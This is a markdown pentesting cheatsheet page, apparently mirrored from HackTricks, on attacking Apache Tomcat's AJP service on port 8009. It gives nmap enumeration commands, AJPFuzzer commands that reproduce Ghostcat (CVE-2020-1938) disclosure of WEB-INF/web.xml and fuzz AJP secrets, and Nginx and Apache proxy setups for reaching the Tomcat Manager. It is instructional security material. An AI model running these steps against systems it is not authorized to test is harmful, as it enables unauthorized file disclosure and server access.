daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

8009-pentesting-apache-jserv-protocol-ajp.md (8728B)


      1 ---
      2 title: "8009 - Pentesting Apache JServ Protocol (AJP)"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 8009 - Pentesting Apache JServ Protocol (AJP)
     14 
     15 ## Basic Information
     16 
     17 The following description comes from DiabloHorn's overview of the protocol:<sup>[[3]](#references)</sup>
     18 
     19 > AJP is a wire protocol. It is an optimized version of HTTP that allows a standalone web server such as Apache HTTP Server to communicate with Tomcat. The web server can serve static content directly and proxy requests for dynamic content to Tomcat.
     20 
     21 Also interesting:
     22 
     23 > The AJP/1.3 protocol is packet-oriented and uses a binary format. The web server communicates with the servlet container over TCP and can reuse persistent connections for multiple request/response cycles.
     24 
     25 **Default port:** 8009
     26 
     27 ```text
     28 PORT     STATE SERVICE
     29 8009/tcp open  ajp13
     30 ```
     31 
     32 AJP is usually more interesting than plain HTTP because the backend **trusts the proxy** to set internal request metadata. In modern Tomcat, pay special attention to the connector attributes `address`, `secret`, `secretRequired`, and `allowedRequestAttributesPattern` when reviewing an exposed or reachable AJP service.<sup>[[1]](#references)</sup>
     33 
     34 ## CVE-2020-1938 (Ghostcat)
     35 
     36 Ghostcat is an AJP request-injection vulnerability that can disclose files from a web application, such as `WEB-INF/web.xml`; depending on application behavior and attacker-controlled files, it could also lead to code execution. Public proof-of-concept implementations show how to test the file-disclosure primitive.<sup>[[4]](#references)[[5]](#references)</sup>
     37 
     38 The first patched releases were Tomcat **9.0.31**, **8.5.51**, and **7.0.100**.<sup>[[4]](#references)[[6]](#references)</sup>
     39 
     40 After Ghostcat, default AJP deployments became less attacker-friendly: Tomcat requires an AJP secret by default, listens on loopback by default unless configured otherwise, and rejects unknown forwarded request attributes unless they match `allowedRequestAttributesPattern`.<sup>[[1]](#references)</sup> However, if you can still reach 8009 from an untrusted network, treat it as a high-value target.
     41 
     42 ## Enumeration
     43 
     44 ### Automatic
     45 
     46 ```bash
     47 nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
     48 
     49 # Ask AJP directly for interesting paths and save the response body
     50 nmap -p 8009 --script ajp-request \
     51   --script-args 'path=/manager/html,method=GET,filename=ajp-manager.out' <IP>
     52 
     53 # Check allowed methods and headers on a custom path
     54 nmap -p 8009 --script ajp-headers,ajp-methods \
     55   --script-args 'ajp-headers.path=/,ajp-methods.path=/manager/html' <IP>
     56 ```
     57 
     58 ### [**Brute force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#ajp)
     59 
     60 ### Manual / Protocol-Aware Tooling
     61 
     62 [Doyensec's AJPFuzzer](https://github.com/doyensec/ajpfuzzer) is very useful when you need to craft `ForwardRequest` packets, brute-force secrets, or fuzz request attributes instead of just replaying normal HTTP semantics.<sup>[[2]](#references)</sup>
     63 
     64 ```bash
     65 # Reproduce Ghostcat-style file disclosure primitives
     66 java -jar ajpfuzzer_v0.7.jar
     67 connect <IP> 8009
     68 forwardrequest 2 "HTTP/1.1" "/" 127.0.0.1 <TARGET_IP> <TARGET_IP> 8009 false \
     69   "Cookie:test=value" \
     70   "javax.servlet.include.path_info:/WEB-INF/web.xml,javax.servlet.include.servlet_path:/"
     71 ```
     72 
     73 ```bash
     74 # Fuzz secret handling or attribute parsing
     75 java -jar ajpfuzzer_v0.7.jar
     76 connect <IP> 8009
     77 genericfuzz 2 "HTTP/1.1" "/" "127.0.0.1" "127.0.0.1" "127.0.0.1" 8009 false \
     78   "Cookie:AAAA=BBBB" \
     79   "secret:FUZZ" /tmp/ajp_secret_candidates.txt
     80 ```
     81 
     82 ## Request Attributes Abuse
     83 
     84 AJP is not just "HTTP over another port". The protocol can carry **trusted request attributes** such as authenticated user information, TLS details, client certificate material, and arbitrary `req_attribute` name/value pairs. Historically, Ghostcat abused `javax.servlet.include.servlet_path` and `javax.servlet.include.path_info` to force server-side includes such as `/WEB-INF/web.xml`.<sup>[[2]](#references)</sup>
     85 
     86 When assessing an AJP-exposed target, look for applications that make security decisions based on proxy-supplied data such as:
     87 
     88 - `REMOTE_USER` / `remote_user`
     89 - Client certificate related attributes (`javax.servlet.request.X509Certificate`, cipher, key size, SSL session)
     90 - Source address / proxy metadata (`AJP_LOCAL_ADDR`, `AJP_REMOTE_PORT`, `AJP_SSL_PROTOCOL`)
     91 - Custom request attributes consumed via `request.getAttribute()`
     92 
     93 Modern Tomcat rejects unknown forwarded attributes with **403** unless the name matches `allowedRequestAttributesPattern`, so a permissive regex or legacy connector configuration is worth investigating.<sup>[[1]](#references)</sup>
     94 
     95 ## HTTP -> AJP Desync / Request Smuggling
     96 
     97 Even when port **8009** is not directly exposed, AJP may still be reachable through an HTTP reverse proxy such as `mod_proxy_ajp`. Recent real-world bugs showed that **HTTP frontends and AJP backends can disagree about request boundaries**, turning an external HTTP desync into a smuggled AJP request.<sup>[[2]](#references)</sup>
     98 
     99 From an offensive perspective, this is interesting because the backend may trust the smuggled request more than normal HTTP traffic and may honor proxy-populated fields such as authenticated user or SSL metadata. During assessments of Apache httpd -> Tomcat stacks, test for classic desync behavior plus AJP-specific trust boundaries, especially around internal-only paths, auth-gated admin endpoints, and connectors still using old `mod_proxy_ajp` versions.
    100 
    101 ## AJP Proxy
    102 
    103 ### Nginx Reverse Proxy + AJP
    104 
    105 ([Checkout the Dockerized version](/hacktricks/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp#nginx-dockerized-version))
    106 
    107 It's possible to communicate with an open AJP proxy port (8009 TCP) by using the Nginx third-party `ajp_module` and access the Tomcat Manager from this port which could ultimately lead to RCE in the vulnerable server. If the manager or host-manager becomes reachable, continue in [this Tomcat page](/hacktricks/network-services-pentesting/pentesting-web/tomcat/overview).
    108 
    109 - Start downloading Nginx from [https://nginx.org/en/download.html](https://nginx.org/en/download.html) and then compile it with the AJP module:
    110 
    111 ```bash
    112 # Compile Nginx with the ajp module
    113 git clone https://github.com/dvershinin/nginx_ajp_module.git
    114 cd nginx-version
    115 sudo apt install libpcre3-dev
    116 ./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
    117 make
    118 sudo make install
    119 nginx -V
    120 ```
    121 
    122 - Then, comment the `server` block and add the following in the `http` block in `/etc/nginx/conf/nginx.conf`.
    123 
    124 ```json
    125 upstream tomcats {
    126 	server <TARGET_SERVER>:8009;
    127 	keepalive 10;
    128 	}
    129 server {
    130 	listen 80;
    131 	location / {
    132 		ajp_keep_conn on;
    133 		ajp_pass tomcats;
    134 	}
    135 }
    136 ```
    137 
    138 - Finally, start nginx (`sudo nginx`) and check it works by accessing `http://127.0.0.1`
    139 
    140 ### Nginx Dockerized-version
    141 
    142 ```bash
    143 git clone https://github.com/ScribblerCoder/nginx-ajp-docker
    144 cd nginx-ajp-docker
    145 ```
    146 
    147 Replace `TARGET-IP` in `nginx.conf` with the AJP IP and then build and run:
    148 
    149 ```bash
    150 docker build . -t nginx-ajp-proxy
    151 docker run -it --rm -p 80:80 nginx-ajp-proxy
    152 ```
    153 
    154 ### Apache AJP Proxy
    155 
    156 It's also possible to use an **Apache AJP proxy** to access that port instead of **Nginx**.
    157 
    158 ```bash
    159 a2enmod proxy proxy_ajp
    160 
    161 # Basic pivot to the backend AJP listener
    162 ProxyPass / ajp://<TARGET_SERVER>:8009/
    163 ProxyPassReverse / ajp://<TARGET_SERVER>:8009/
    164 
    165 # If the backend requires an AJP secret (common in modern Tomcat/httpd)
    166 # ProxyPass / ajp://<TARGET_SERVER>:8009/ secret=<AJP_SECRET>
    167 ```
    168 
    169 ## References
    170 
    171 - [1] [Apache Tomcat 9 Configuration Reference - The AJP Connector](https://tomcat.apache.org/tomcat-9.0-doc/config/ajp.html)
    172 - [2] [Learning AJP (Doyensec Blog)](https://blog.doyensec.com/2022/11/15/learning-ajp.html)
    173 - [3] [DiabloHorn - 8009, the forgotten Tomcat port](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
    174 - [4] [NVD - CVE-2020-1938 (Ghostcat)](https://nvd.nist.gov/vuln/detail/CVE-2020-1938)
    175 - [5] [Exploit-DB - CVE-2020-1938 file-read proof of concept](https://www.exploit-db.com/exploits/48143)
    176 - [6] [Apache Tomcat 9 Security - CVE-2020-1938](https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.31)